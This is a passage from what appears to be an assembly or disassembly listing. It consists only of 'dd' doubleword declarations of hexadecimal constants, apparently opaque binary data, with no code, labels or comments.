		dd 791C905Eh, 6A860555h, 3D064CC6h, 0EB50D104h,	0F1AD16FCh
		dd 60080993h, 0D04D2E27h, 584222CDh, 1A4A7D7Ch,	0B7AA5F85h
		dd 54F027F7h, 679D02F8h, 0BD4374F5h, 8B0A98A8h,	3EF5D497h
		dd 6EC1DE20h, 5FE60894h, 0D801D23Fh, 4250ED80h,	0F998147Eh
		dd 2768DC40h, 75F67556h, 6DA478E4h, 1F7406Fh, 57247C5Ah
		dd 9F43C1ABh, 962C320Ah, 431331F3h, 5077E2D3h, 0AB40065Ch
		dd 5FFD3021h, 4C15A792h, 0F2816C01h, 4EF66F0Fh,	0F9C73621h
		dd 0A2434198h, 12120308h, 0E9FC96A1h, 9544F9BBh, 0FC952CDFh
		dd 0A5BDAC5Bh, 0E969817Dh, 0E67D9C0Fh, 0AD9264D2h, 0AA461878h
		dd 73ADF2CDh, 9E207DDh,	4685AD7h, 0C0BEBC4Bh, 5F562B1Dh
		dd 53DF6121h, 7C1AFBE9h, 82F2C087h, 0B5B65128h,	0AC205378h
		dd 5E407684h, 0E03D12CEh, 61BAF618h, 354ABD90h,	4EE3D490h
		dd 0E0914B53h, 0A16E643h, 0F0EC296Eh, 68EA0974h, 8F464177h
		dd 0A3095D09h, 504DF13h, 0CC17804Fh, 57972C37h,	45E06010h
		dd 5C026F2Dh, 805D144Bh, 95EDAB84h, 6B61EB8Fh, 810513DEh
		dd 7059FCDh, 2E2BCB3h, 42A5B916h, 0CD5140Fh, 0BB874C0h
		dd 29C2099Bh, 0F4687F0Eh, 0C29B792Dh, 23545EE9h, 9D69582Dh
		dd 477E304Ch, 49294D4h,	45441B79h, 0FCDD28C0h, 0DE224CF7h
		dd 0A320F804h, 0F8F1BA48h, 14E90800h, 0BE5AC9BAh, 2FA60E54h
		dd 0C0AF4026h, 401B2146h, 0D7794C1Eh, 58A28F48h, 6DAF4F99h
		dd 19C53E44h, 59CDAC90h, 18759D58h, 0BF579209h,	0D30F8CE4h
		dd 86358F6Bh, 0C7FA922h, 4752D4C5h, 0C9BC4B16h,	1678F32Dh
		dd 8172F0F5h, 2CAEC14Bh, 0E915D110h, 4FAFFC87h,	0EB803002h
		dd 3018D270h, 0EF45E69Ah, 0F9301E46h, 768B0C6Eh, 2930147Eh
		dd 841B9D7h, 2920BA31h,	786A60FEh, 7B65B74h, 0F2E1D13Bh
		dd 6DB4064Bh, 35E712B9h, 65C61ACBh, 55F7C1DDh, 252491E5h
		dd 50FC90BEh, 0BD27BCF6h, 4CDF5BEAh, 26DBBDC1h,	0A30DEE2h
		dd 0F94A398Eh, 5F343F87h, 0F26779EEh, 0CCEAEFD0h, 20CAA84Dh
		dd 9007E6E5h, 19DB3915h, 0CC72AA8h, 112615B9h, 0BB17DA18h
		dd 0C5E95287h, 0EF607C17h, 63CD1B75h, 0B6D3D701h, 0BA83AE04h
		dd 1B141350h, 938AECF7h, 53055DFCh, 0C0418F20h,	2C0C22DAh
		dd 18F6950h, 0B3C92ADFh, 3DD2FCBEh, 4A80B8A5h, 8106E3C1h
		dd 0E086F307h, 9FEE3C2Ch, 55410F64h, 0D9DF1408h, 292B04CDh
		dd 4945F012h, 23AA68B5h, 0BA3A689h, 46CA685Dh, 65570032h
		dd 8F66A57Dh, 0EDF4A734h, 0DF584EBFh, 6808FBCCh, 297E3D32h
		dd 9707509Bh, 0FE7591EAh, 4C0E8956h, 63F060C4h,	0A9A4AF4Fh
		dd 0DA122E6Eh, 1F2326BEh, 91F8C808h, 31C6D527h,	125D5990h
		dd 4E2C4EF7h, 8E405BFAh, 0A55E3F27h, 801380B4h,	7AF6A6CAh
		dd 696A2DD2h, 74D527A0h, 0C6806C85h, 2727F899h,	0E514F189h
		dd 0CE73A090h, 365E5A2Bh, 2F3991ACh, 0A3E963FEh, 0D626C731h
		dd 2D39808h, 0E3FA852Dh, 28E1D701h, 885101CCh, 6BE0C16Fh
		dd 60BB0208h, 2F3D28F8h, 0C9C5DF89h, 3A615688h,	0FEA7548Bh
		dd 6431D87Ah, 0F120181Fh, 0B9201031h, 2542B866h, 0AA18FCBDh
		dd 39C7D3E3h, 77FB55EFh, 0D9412E2Bh, 0D2903B96h, 4CDA0BA2h
		dd 0AD501D6Dh, 2FEDB041h, 97C8CF9Eh, 0FB174EB4h, 7D500163h
		dd 0DC1C6908h, 125D92B0h, 8BE0BBA2h, 0F77C5029h, 9979BD5Fh
		dd 90EB313Bh, 0E7800CE8h, 92C664AEh, 1D008AE0h,	0A73AAD1Fh
		dd 3ABF0F9Ch, 677C5ADEh, 0B1572D05h, 8C59C7B7h,	16702A76h
		dd 336925B4h, 4AD89B81h, 3AE94046h, 1244E860h, 151900DAh
		dd 0C886C289h, 0B7120147h, 0F1004227h, 7A4C9B76h, 2F816E0Fh
		dd 80615804h, 5C924070h, 0C2608BE6h, 0DC3EC710h, 912DA875h
		dd 0BBDF00B5h, 6FB2AA33h, 7300206Bh, 142ACA56h,	30BC386Dh
		dd 0EEB4EF8Ah, 44E41937h, 6BD18002h, 0C046B456h, 580F3ACBh
		dd 53800482h, 94BB6659h, 0F5B87E4Bh, 16DB8740h,	0EBB0FF81h
		dd 20858646h, 0A189FE31h, 0B16B8B1Eh, 0DB0F80D2h, 39D7B8ECh
		dd 4778003Dh, 0E19FEA71h, 90F2D86h, 61CAA5F8h, 0CCFAB9B8h
		dd 4B2542FEh, 4A50B025h, 531D3EF6h, 9EA0BE01h, 0F49CB995h
		dd 0CB0FCAD1h, 0E07F1B16h, 319A75E1h, 0AC5E00C0h, 8930FA6Ah
		dd 7103E442h, 62C14798h, 9CC09776h, 0EE24C48h, 0BC4A9474h
		dd 8E6AB461h, 8DFEF030h, 90004A7h, 19AAB323h, 3006634Ah
		dd 7AF87CB0h, 3400E74Eh, 0F6FE460Bh, 748EB2Fh, 0D9E51994h
		dd 0B6B1878Bh, 20422931h, 21ED5511h, 339308D1h,	0CC840C90h
		dd 42BD48EEh, 0F8243501h, 0DA0D1D40h, 0F0084A5h, 1086A7DCh
		dd 0C899ADDh, 8A9BE013h, 48004C09h, 0F8FEBADBh,	4C0DFh
		dd 8C4E5EEh, 0BC7E9F2h,	9A0E0376h, 409D0F5Dh, 2ABE7DE4h
		dd 7AF400DDh, 0CA7E8810h, 91F623B3h, 9B60500h, 9463EF04h
		dd 794B0FE4h, 0CE409F3Bh, 0D6228919h, 0B71FCCFBh, 285F2901h
		dd 0DE7455A4h, 7C1252F4h, 33F7E9Fh, 0A5A2FBD9h,	0E19B2A70h
		dd 9D9B5BB0h, 5771E500h, 85B167C8h, 3B8D3D02h, 41ED0076h
		dd 447F14B2h, 6300F9D9h, 26B42353h, 14E5F6A1h, 0DC360CB6h
		dd 4D819000h, 4F839849h, 849A4B00h, 879D4E50h, 0C09EF253h
		dd 0CF3C6009h, 0FC0012CEh, 218D4D3h, 31CD8DAh, 1FDC3DD6h
		dd 902A7BD7h, 0F11D8CA3h, 99401E6Ah, 7FA93D65h,	54B13AA7h
		dd 0E1414F00h, 6F4E0EE3h, 7E306E00h, 273A4BF5h,	328A0EADh
		dd 0D98004D1h, 23791A11h, 5F963300h, 38EFE87Eh,	93343B76h
		dd 3644A80h, 0BC115488h, 9E750500h, 3A826CB8h, 858E0380h
		dd 76816824h, 88527EC0h, 0FA02BD74h, 2DB514A9h,	0B25C404Eh
		dd 5C853F1Ah, 5A831800h, 5D881DBBh, 8B20BE00h, 8F252332h
		dd 0F84B836h, 15B7618Ah, 17B96381h, 9A03F8Dh, 0C87218F4h
		dd 0B30C68E8h, 869F5301h, 0B1B52A12h, 71B01BC4h, 0A40F01A5h
		dd 9CC83A3Eh, 6E24FCF0h, 0F40B2501h, 68AC439Ah,	7BF837C9h
		dd 0BC1517BFh, 44EFC8Eh, 872EE2EFh, 7FE0B890h, 7B4D00F7h
		dd 0FB4C2447h, 7539DDC4h, 48F200D5h, 0CCB85239h, 6398007Ah
		dd 0A3381DA1h, 407664Eh, 0BD1BC6E8h, 1C4979A0h,	4DF8D0h
		dd 0A8F736C7h, 0D206EE75h, 0D56C70F7h, 0A4F1F4A0h, 0F4936524h
		dd 9EE8F014h, 80FF719Ch
		dd 0D4337DB2h, 1493F5h,	7C791C91h, 8E31DB01h, 7E5E13Bh
		dd 0ADE30477h, 51D02140h, 0D9680093h, 9B2CC312h, 2A7A4E82h
		dd 0F8C16376h, 345EB508h, 64F41DF9h, 1CC276A1h,	80989965h
		dd 101121DDh, 0C3071C8Eh, 27F56F9h, 34943C30h, 9C4600AAh
		dd 0B25C82FBh, 7C00C6FCh, 28C414E8h, 98034CEBh,	1D1714Ch
		dd 0CFD4FD15h, 22D2FB13h, 17D30168h, 1BD7D6FFh,	0F00CFCD8h
		dd 0D8CA3EFEh, 4CD7570h, 0A2D50819h, 0C324D381h, 0E4702EC8h
		dd 0C19E4100h, 67C94EAEh, 815A00A9h, 15451763h,	4709DDC5h
		dd 0C40E40h, 80D40864h,	1418C01Fh, 8F06E286h, 175D008h
		dd 16618033h, 7D926936h, 865F1B1Eh, 3DFBA701h, 0A420D607h
		dd 0C4490034h, 0DD53396Ah, 10904727h, 58CF1700h, 3BFC6FD7h
		dd 6B8700B1h, 0FDFEF53h, 5C03614Eh, 41EB742Ah, 1B8F905Eh
		dd 6F79C6h, 0A647D7CAh,	0C0218829h, 5253510Eh, 416E8096h
		dd 1487085h, 0BA00AE6h,	0EC7F657Ah, 0AF3C9B15h,	1553C54h
		dd 582C73A5h, 84FCD8E3h, 8F622430h, 147C001Ch, 732FC585h
		dd 3A137600h, 779E2397h, 0D6F63Ch, 28518E47h, 1AF416B3h
		dd 869CD900h, 2701BDAAh, 0F2D300F5h, 0D61984CCh, 41007B67h
		dd 0EF77887Ch, 75279Ch,	8F26C7D3h, 6D6EA02Ch, 59AED80Fh
		dd 2860534Fh, 0F69FE0h,	0F8621C53h, 642DC384h, 26595F07h
		dd 278116C0h, 0D0FC7EAAh, 0BF02003Fh, 0A1837258h, 1903D62Dh
		dd 0B2E60796h, 37B0B87Eh, 25110370h, 91D5B1FCh,	165AE800h
		dd 18415C6Ch, 435E026Eh, 425D6F19h, 509088Ch, 6D6A4D07h
		dd 73C0EDD7h, 5403DDh, 5807E177h, 9AFCE47Ah, 0C2288E07h
		dd 86E25988h, 0AB54600Dh, 77DF4B1h, 75086C4Eh, 0FBB38051h
		dd 721F327Fh, 1D00D78Ah, 0D55AE166h, 251907FAh,	84AA2E74h
		dd 3ACCC222h, 53C20D40h, 0FAE27801h, 0BE20805Bh, 40C24421h
		dd 98DF79D4h, 0C938035Ch, 658CE910h, 86EAE100h,	88D1CCDCh
		dd 0D3CE02DEh, 0D2CDDF89h, 9509088Ch, 0FDDABD07h, 3C07D67h
		dd 2CC4536Eh, 7577207h,	314C750Ah, 8452B8DFh, 89BDF6E1h
		dd 736A6CD1h, 0C5024h, 0C157F980h, 0C06B1105h, 0D71C64F1h
		dd 21824B04h, 44C07C65h, 985ED9C9h, 70410294h, 4B966F2Bh
		dd 0C4F0C048h, 799F1D88h, 48949093h, 0AB00D4D5h, 63EB9752h
		dd 0FD98EF51h, 4E427E26h, 0B253491Fh, 3C2C6800h, 1C9759A1h
		dd 4037C7B7h, 2B9A916Bh, 7A007122h, 4AE3B66h, 1DC2083h
		dd 0D78D0D31h, 2092949Dh, 0F5038B6Eh, 88A835A9h, 5B80A5CCh
		dd 0F37F882h, 52923AF7h, 364958A0h, 180089DBh, 0CD2D90E5h
		dd 7A3D7CFh, 85EC62AEh,	5A17101Ah, 23003683h, 4F70538Ch
		dd 0B4097Dh, 378FF94Dh,	86276C08h, 4CE6E00Eh, 21338026h
		dd 96D91h, 703C2B5Fh, 9047A2B6h, 2F856807h, 0FCF0FECBh
		dd 73F407Dh, 4D419610h,	46665056h, 6900135Ch, 157B3021h
		dd 38457EABh, 0A44CA876h, 31EE2D0Bh, 2F002654h,	34F12EE7h
		dd 0F03500DEh, 0F432DB33h, 0F83CDF37h, 0A6DA1E28h, 0A8DC003Eh
		dd 0B0E435F6h, 0EB3D00EEh, 0BD5FC3B7h, 0E74CCC09h, 125D07A4h
		dd 9770A36Ah, 45487Ch, 4F657B70h, 47D4437Ah, 0E9EFF003h
		dd 908731B6h, 1837A6CFh, 40E2518Bh, 1700CCDFh, 55B703A5h
		dd 7A15DBCh, 0B571AF48h, 0C0059537h, 0CC1D9004h, 4A2920h
		dd 0C820B6AEh, 0C61EB499h, 23B9971Ch, 26BC9A80h, 0FC09FBEh
		dd 0F545922Ah, 0C213BD03h, 0B4D480E5h, 1D00C728h, 24CE108Ch
		dd 17A25685h, 588E68h, 510E2E04h, 0D201318Bh, 57BD7903h
		dd 6420E273h, 97180CD5h, 0FBD94D24h, 78F848h, 4189CF16h
		dd 3A232DCDh, 0A816B2FCh, 0C3F01C74h, 8E53D6D1h, 8BFFD4F8h
		dd 60B2091Fh, 50166242h, 40F44007h, 97352E39h, 0A6088094h
		dd 869EBD48h, 0F8CB7C00h, 0C70C70A4h, 286D0142h, 5847A66Ch
		dd 4379DCB9h, 9E404D0Fh, 0B83F60F5h, 25BC78h, 3DA36C97h
		dd 70070A2Eh, 4E9BC114h, 42FA70ECh, 60C3E430h, 336FD8h
		dd 258B3DE1h, 68DADD90h, 66C40C03h, 0E58D42AAh,	29462481h
		dd 0D1769040h, 9C2100C8h, 5155FF60h, 1400E118h,	0AD579E01h
		dd 0F29DF9h, 9CB6D424h,	204DDAE6h, 21FB807h, 5D0AD45h
		dd 16A148h, 6D825B18h, 7E99702Ch, 7B621E00h, 0E9F29E1Dh
		dd 0B90A00A0h, 42123468h, 0BC1CFA6Ch, 0DCC0EE04h, 52E8E2B5h
		dd 0ECEB0E6Ah, 45027A56h, 28401D89h, 0DB0015A8h, 6B8AB1DAh
		dd 28BD3967h, 6B4D76Fh,	0A8345B1Dh, 38071154h, 0B8D90B71h
		dd 787E3AC0h, 823E3B5Fh, 0B44834D8h, 30B9313h, 110D89C4h
		dd 7833C9E8h, 54434703h, 8396390Ch, 399A0E8h, 466200C8h
		dd 9D2E8EB0h, 827A55FCh, 8B8A3200h, 847E39CFh, 0B06C00ABh
		dd 0F7F48859h, 27006A9Eh, 0A05B21D5h, 3F9BCF47h, 0C00124C5h
		dd 0C7FB2DBEh, 0FDA0CFC2h, 64005185h, 3295C6A0h, 4F73367h
		dd 0CA6B8648h, 4D7AC08Bh, 0AF0010A8h, 0B6DE822h, 53318Ch
		dd 0A4A21658h, 5F40870Eh, 56036670h, 84D82482h,	89C8153h
		dd 6862DBE1h, 7F590077h, 3836C39Ah, 4300BA05h, 0A4B34AC1h
		dd 9A0665Bh, 6E2A86E3h,	0CA0E7301h, 828ACC7Ah, 0E9901A0Fh
		dd 69AA80F8h, 798554ADh, 6A6C00E2h, 8D4BDBD4h, 721FAC8Ch
		dd 0BBC03676h, 29A3FB3Ch, 968450A5h, 0CB873AA9h, 80015B13h
		dd 47F1AD64h, 0BB51C964h, 167210C8h, 40C84FB6h,	9C58BD0Ch
		dd 6B7EAA45h, 5BC15601h, 6DB1469Fh, 5CBFF0CBh, 0BC4900A0h
		dd 0CA161754h, 60C092C4h, 4D1E10FEh, 1DC27E85h,	69A87A4h
		dd 20EE6CB0h, 0EAC911C5h, 1C1F1816h, 0FFF651C0h, 90938F94h
		dd 96E200EBh, 0FCF13BB1h, 5000DF36h, 0CFD20A17h, 19C8BE8h
		dd 0CB54CA89h, 0C18092C2h, 0FFE18007h, 2C98185h, 1F82ECB2h
		dd 0ABFD578h, 8B67Fh, 0B23AD388h, 0E109D183h, 604CF30Fh
		dd 1C1CB30h, 2264B792h,	0D054BBEAh, 2E3BB9E4h, 0B0343080h
		dd 0EB38Dh, 6C641503h, 1BE5775Ah, 1900FC7Ch, 92C3A66h
		dd 0AFB66Dh, 910492D9h,	0C1DF47F5h, 31D88C16h, 2DA54B00h
		dd 5D1E632h, 7F9FA0Dh, 5AE2C05Dh, 2200FC47h, 0A44564CBh
		dd 17877DDh, 0B3492E44h, 0C0269DC2h, 1771852Ah,	7B57F603h
		dd 80D5E50Fh, 728DF41h,	26DC6C4Bh, 0C4DE5006h, 89009773h
		dd 8C760DEBh, 0CA758Ah,	4918B0FDh, 4C1BC006h, 80AF643Fh
		dd 937A958h, 13C0510h, 2D8DB02Ch, 81A27733h, 0BBCB90F9h
		dd 4D44597h, 0CC3F158Eh, 0E715BC03h, 0F73CE8EBh, 0BE3CC801h
		dd 0A606CD3Fh, 76060A21h, 2113431h, 5763CC7Eh, 1C879683h
		dd 0B2E7E340h, 6E0D110Eh, 3813667Ch, 869A5081h,	11436077h
		dd 9D3386B0h, 250B520h,	0D43EB230h, 0E0134B19h,	0E5B51Ah
		dd 0D836D62Dh, 0D1801E4Eh, 9A00327Eh, 523FD48h,	294467Bh
		dd 13C50B91h, 7D006F9Dh, 264D0B0h, 927FA29Bh, 0CC601E54h
		dd 0B4144779h, 68450EBh, 36C0B51Bh, 783A9060h, 311D3717h
		dd 0F1A93610h, 96FD5100h, 0A2EF75BCh, 0E55A01ADh, 0F74AB699h
		dd 16CE093h, 4148950Eh,	69AB81F6h, 56E07ED7h, 0B7A203FEh
		dd 0B1A8D372h, 0B0738EA0h, 9BF16300h, 30E25397h, 0FC67009Fh
		dd 0F361B17Ch, 6303BB9Eh, 71BA95E4h, 0FEB6F9F7h, 8C38B8E2h
		dd 0F1A6F070h, 181895D2h, 0A9A40891h, 0B0C1F1F0h, 0BC990643h
		dd 30C470h, 93FD7098h, 808E4C91h, 0F16DBA03h, 0C0529D7Fh
		dd 667C075h, 0FE967902h, 0DD1ED1D2h, 0E10D9C85h, 0B83C38A0h
		dd 190401A9h, 56C39DFh
		dd 92DBDD83h, 0A993C840h, 179836D8h, 1E5138Bh, 0B080941Eh
		dd 0C84094FFh, 0F3637EFCh, 0C1619A18h, 8427F43h, 0BD584049h
		dd 38E20ECDh, 8D254E7Ah, 472C01E5h, 213C1794h, 0DF0C1900h
		dd 1A0C8847h, 0FD305E6Fh, 394D1983h, 7BA05862h,	83D520F3h
		dd 40C2DA43h, 4B4998DEh, 0E9403074h, 0D534F859h, 9ADE78A8h
		dd 31584C51h, 0E8580EA3h, 7EB0A7F4h, 21BF1F43h,	0B300D6CFh
		dd 78B83005h, 249CFE4Eh, 83CC53B4h, 5ABF9BD3h, 0F3112803h
		dd 0A5918794h, 90CF1C87h, 898209C8h, 6072612Bh,	1D0BB3B8h
		dd 0A33174Fh, 0F0C4B82h, 99095730h, 0CD18FC20h,	0B0982879h
		dd 0E21DD898h, 110A4BB9h, 48020CEDh, 683B120Dh,	60E5BB14h
		dd 5181B12Fh, 153D188h,	22A4A264h, 0F0615F0Bh, 88C5497h
		dd 0B848D9BCh, 0F685B310h, 2F649331h, 0F0A159F2h, 4DBD9268h
		dd 0E089E6F8h, 938E5491h, 48089859h, 8640B57Bh,	4B14C19Ch
		dd 0DF8C6919h, 0E48C5322h, 0A8F3EFF0h, 7C138726h, 8449984Ch
		dd 0FD22A490h, 1665AA8h, 0C58D7E68h, 0B25185A3h, 88331B02h
		dd 0ACE04C98h, 84586450h, 94849898h, 0AD140C5h,	77BBE042h
		dd 0F90C4650h, 55802814h, 850C99D1h, 8C02BCDFh,	0C590515Fh
		dd 0DA4C5104h, 8A808899h, 0F430F8E0h, 2F85BD10h, 409426FEh
		dd 6054B924h, 0AEE80584h, 28F2288Dh, 0A39F5180h, 29170C99h
		dd 0C1C9545Fh, 0C20C9FEEh, 0A03E3935h, 861F31A8h, 802814F9h
		dd 0C99D187h, 0D5771185h, 889C6AACh, 0C510F586h, 278DB1D9h
		dd 5890C8A0h, 9D12BE53h, 144257B4h, 2BDD840Fh, 7D768410h
		dd 2350BE8Ah, 3BE0DA57h, 65120E08h, 36F7513Fh, 0E7F881A8h
		dd 54799865h, 305FD835h, 89D95824h, 2C9A4C54h, 1AF2F9A1h
		dd 0DA4669ECh, 16EC07F9h, 9A021025h, 2CAB9566h,	757840ACh
		dd 9F11F92Ah, 0DC080531h, 840E83A3h, 180157FBh,	0FF2D98E0h
		dd 70BAC0BBh, 59445C3Eh, 3650D5F8h, 308AE59Ch, 2342C33Ch
		dd 0E8C8B807h, 7C9E3CA3h, 0F2C80648h, 0E03CD8A8h, 0BE4E0B62h
		dd 1205088Fh, 20103009h, 9A50C31Ch, 87707FBh, 300B5F52h
		dd 0E3704075h, 5BA0A00h, 1811B1ECh, 0C5C90219h,	0A9A6547Fh
		dd 0D396D480h, 0BF0048C4h, 0B1FDD85Fh, 19D843Ah, 435EB80Ah
		dd 8E0D306Fh, 0E086BC69h, 8F325312h, 0B1D5004Ah, 667B472Ch
		dd 0A0955818h, 449CD784h, 2EC0729h, 0B3439F14h,	3388D6E7h
		dd 5F04A18Bh, 86576E19h, 17FE3CD0h, 729AC0F5h, 76564CBAh
		dd 3043D4Dh, 4452F460h,	3E6C90B8h, 0DC902FDh, 8B57DAB5h
		dd 89C0208Fh, 6B7D7FA1h, 0CA69A609h, 791C9018h,	0DBA80B53h
		dd 0D490E7D2h, 5700ABAFh, 0CFBE7AEFh, 798C959Ah, 1F0F0144h
		dd 0A06B99DAh, 743231h,	16A19164h, 0F26E1789h, 0C219C013h
		dd 0D988470Dh, 97A41C00h, 0BDED80E6h, 0CA430328h, 1DE86C82h
		dd 2E5FB0BFh, 0CC00361Ah, 93ECC98Bh, 2AA80Bh, 0C0FF3FEEh
		dd 6084F30Fh, 0A9AD9D14h, 233100D0h, 0A890BA5Eh, 2C4C3A64h
		dd 0C1170D98h, 8EA918Dh, 0B29F89C0h, 3BA0C4Bh, 9E1B34F4h
		dd 29383677h, 4EDD835Ch, 0C56D855h, 0A48357F2h,	0EB06F349h
		dd 5C77F1ABh, 0D62C0031h, 17937F7Ah, 8900BD1Eh,	65C347B1h
		dd 7AEDEC9h, 7744F4A2h,	7500B84Bh, 0ED67F769h, 382207B2h
		dd 80798CADh, 3FE8480Fh, 0D7358D01h, 9ED603C8h,	71346E0h
		dd 0FC5B2C96h, 0E5748342h, 0E6136E0h, 5C28997Ch, 913E14B7h
		dd 87FA0037h, 0A977A3E3h, 89060064h, 0A0D5666Eh, 1E382B63h
		dd 9BEC80B7h, 600FA474h, 574200BDh, 6E960731h, 52006FD8h
		dd 0CBB718E7h, 0FDFB968h, 54A5E98Ah, 0BD6293A1h, 0F73F841h
		dd 79A0C60Ch, 0A1820E3h, 6B335A2Bh, 0E2887A20h,	70CE4120h
		dd 7E00E211h, 86F3B42h,	0E34DA0D8h, 0D1E5A300h,	3D40DAh
		dd 89935422h, 0AB03CDEh, 7485B8CBh, 0D3CD03F2h,	0DF88EC80h
		dd 5560A07Dh, 4B482341h, 30967234h, 0A8CCFC2h, 0D5003C81h
		dd 0EA5F3F6Eh, 1D66BB99h, 8A48DCAAh, 3088A4F2h,	9213840h
		dd 6F877A01h, 6ED8CDE2h, 4AA0A041h, 0C0D9619Eh,	3EC85D1Dh
		dd 5BE84484h, 48FF5000h, 0CC18126Eh, 0D1AD3078h, 0A48EA2E0h
		dd 0E0E8E207h, 28FC68FFh, 0F6CA0733h, 0C13CE7CBh, 8128D4DFh
		dd 21184D18h, 0BBC13A43h, 0A1D79180h, 0BF4077A6h, 381C070Ch
		dd 0C0D10887h, 0A699FE21h, 4B3DD7B9h, 88D381F8h, 4E589D6Ch
		dd 479FB888h, 0A209C298h, 7DA30049h, 0DCD733A4h, 873706E7h
		dd 3C405942h, 0C640186Fh, 39579F11h, 0A62A3Dh, 6CB2B4F2h
		dd 7A79A22h, 0FD27945Fh, 0EB7AF047h, 0A800C22Ch, 0A116A09Ch
		dd 0C0CA013Bh, 501E25A9h, 1200E206h, 43F99C0h, 0E3C8288h
		dd 7BDDE95Ah, 852D1F17h, 2036E8CFh, 0B0D04088h,	1B114460h
		dd 0CA25217h, 0F62B0EE1h, 4A024298h, 50F0AF59h,	65C5404Fh
		dd 0B3DF0076h, 0C5C19C8h, 1600788Eh, 0BF80449Eh, 976CFDh
		dd 10074738h, 2723B8FCh, 71416E00h, 2DF5A0B5h, 35C4A11Eh
		dd 0A6089C18h, 70974072h, 0A60094F9h, 0EB259B28h, 281E8A0Ah
		dd 209DF3h, 0B8ED011Dh,	0D2359307h, 6345A100h, 9973C676h
		dd 9B1101EBh, 41DB346Ch, 0CCA0E4B4h, 0E9B7D800h, 169DF282h
		dd 0C648C345h, 0F91BFAC7h, 0E0082ACCh, 3C2955ABh, 6B808A9Bh
		dd 5156E92Fh, 2B0008E5h, 0E188C869h, 0ECA56E9Ah, 20C905Ch
		dd 6A33A307h, 4220CDC6h, 60A049F2h, 28E1156h, 0A3E083DAh
		dd 1612759h, 0B3C25ECBh, 0CFC09733h, 49B8C084h,	44C005D1h
		dd 14ACA148h, 6A03E94h,	658CD56Ch, 951F0170h, 0CE2D76CAh
		dd 66F281B2h, 0B915FFB5h, 60AAF446h, 710389E7h,	6C0E9C7Ah
		dd 6C46DB64h, 0C0FC085Ch, 7A692421h, 0A0044F8h,	82F41774h
		dd 24986BBAh, 3CBCDB85h, 700CB73Ch, 0A310C255h,	0F1404413h
		dd 0E6AC2006h, 0CB951520h, 3800A01Bh, 0A13F0612h, 81B06713h
		dd 3066FB3Ah, 0A5B212Eh, 7A7F0006h, 0F79DA8CCh,	0E003AB1Ch
		dd 0CBC92324h, 0AD290F26h, 6FC0A3C1h, 8C9DC5A9h, 5E459207h
		dd 3554FC47h, 0F31378C0h, 0A20D0249h, 0C415703Dh, 0FCBA0461h
		dd 71005177h, 0FD245B4Fh, 320A80CFh, 99D18D6Ah,	6165890h
		dd 33A14311h, 5F973488h, 6D0BAF07h, 2AFF88F0h, 5C9C0356h
		dd 0A2950768h, 9CA2BA0h, 98E82737h, 0A3433B42h,	821451FCh
		dd 635C48C0h, 4122053Ch, 0C077398Fh, 723B9D90h,	0FFCC0F1Fh
		dd 0B401C681h, 68E08817h, 0B8E750F9h, 20549058h, 6E0919E8h
		dd 6FF4CDh, 0E3AD0F04h,	469F306Bh, 0DB3E6271h, 3FCC1201h
		dd 27C3BB3Ch, 403C08A4h, 2CDB3685h, 65CA94Ch, 1ECCD3AAh
		dd 11E401E9h, 103DFE76h, 0C1E43093h, 91C5C688h,	1502828h
		dd 0A1734C83h, 250CC06Ch, 60983104h, 0BA3ACA72h, 0E06E0018h
		dd 7F077738h, 4BA40359h, 2104CA3h, 0A2E6311Ch, 387EC070h
		dd 1497EE32h, 34E8C2C6h, 0B591990Eh, 51480012h,	351FEEA2h
		dd 850C8000h, 0D0BBF801h, 3055B8C0h, 0C51834DBh, 0DF01653Bh
		dd 61CE4969h, 0CAC4E044h, 0E434F101h, 1C48826Eh, 0A110C1D1h
		dd 49267267h, 48912E0h,	805F4024h, 687485EAh, 0C4E5F528h
		dd 9840CC82h, 517CF7EAh, 3BE35440h, 0F3344441h,	910C87D8h
		dd 0A0E488A0h, 6F568CC8h, 0DB4202D0h, 335FCC16h, 3A8940BCh
		dd 3CE2F4DBh, 7E03924Ah, 2DD241F6h, 0CCA7A3C0h,	91DECEB0h
		dd 0B4CD8F00h, 2CE1D63h, 0CFEA70DEh, 0F0602178h, 24339DA9h
		dd 76FAF06Ah, 3D048C88h, 37CC11DBh, 84205C62h, 2BDB35h
		dd 0CBB8F842h, 0C901FCE5h
		dd 7E000892h, 37811206h, 1EDC83A7h, 1C795E65h, 0E08C08Fh
		dd 0B50C931Eh, 80483830h, 275AB10h, 6EE31D7Ch, 18C0390Bh
		dd 520C9D2Dh, 59C80103h, 0CE7F006Fh, 4BC05E05h,	3C005399h
		dd 68E71AB2h, 2CB65AB7h, 826004F8h, 0A874A133h,	70A02848h
		dd 7B2F9D18h, 2A13B670h, 1FD020CCh, 0C29BC51Ch,	85D9EB1h
		dd 0EF8C5C40h, 787639C0h, 0A21F41h, 3390BB7Dh, 0FE020779h
		dd 0B12D100Fh, 46CE376h, 28304C0Bh, 93232048h, 3D061001h
		dd 0E03A1h, 7D060859h, 4D5B823h, 0CF57B4F5h, 42C4EFD3h
		dd 6EA8A490h, 0E0450C11h, 0F2E0875Ah, 8078A059h, 32390C6Dh
		dd 0B70B068Eh, 61199BAFh, 804CA11Dh, 686B4830h,	58BC49D5h
		dd 64A99B00h, 6EAF62F6h, 1840D938h, 0DC6020A5h,	0C67706A3h
		dd 30D801A0h, 4C2C1807h, 0A059D566h, 0FCB6B730h, 0CE0A0468h
		dd 90C6D0A3h, 4C84020h,	700BC0BAh, 1F34AB5h, 3F16B6F4h
		dd 45BAE1E6h, 8CE3D450h, 369229CEh, 0EFEBE220h,	1C021D30h
		dd 53C63EF6h, 0AC0854E5h, 0D44C674Ch, 0C0CDA6C4h, 0EC54C575h
		dd 0CB0AB100h, 5EB5AEC9h, 2350147Ch, 0F00804Ch,	783CB2F1h
		dd 49894B3h, 3483820h, 0D964A416h, 9803A0C9h, 709B7569h
		dd 0A3601DCEh, 0A1FC42B5h, 0B0A7A43Ch, 7E58E0C3h, 12A5AF2h
		dd 713FD0CBh, 0AA4A9E3Bh, 0FF051680h, 269DB56Eh, 0B9E6486h
		dd 0D48061ADh, 47A087AAh, 0DCCDEA18h, 0FCDF10h,	0C9C434D1h
		dd 1FF8F016h, 14426B38h, 169025CDh, 0C061972h, 73C9BE3h
		dd 0D2E11EA2h, 449F8216h, 83C868E1h, 0A0F7E289h, 0CC38153Fh
		dd 0E807943Ah, 10DA4A94h, 65A0CE6Bh, 1F8DC50h, 17204560h
		dd 5827A48h, 0A7C2B26Ch, 0F0C5C7C7h, 6EBDE53Dh,	0B4253000h
		dd 5B7D5C54h, 5E9D0042h, 69C17539h, 0AC0E7E7Bh,	0A76C2F56h
		dd 0BF402D50h, 352E4Fh,	593F65A8h, 7A3C3263h, 79DBB3Eh
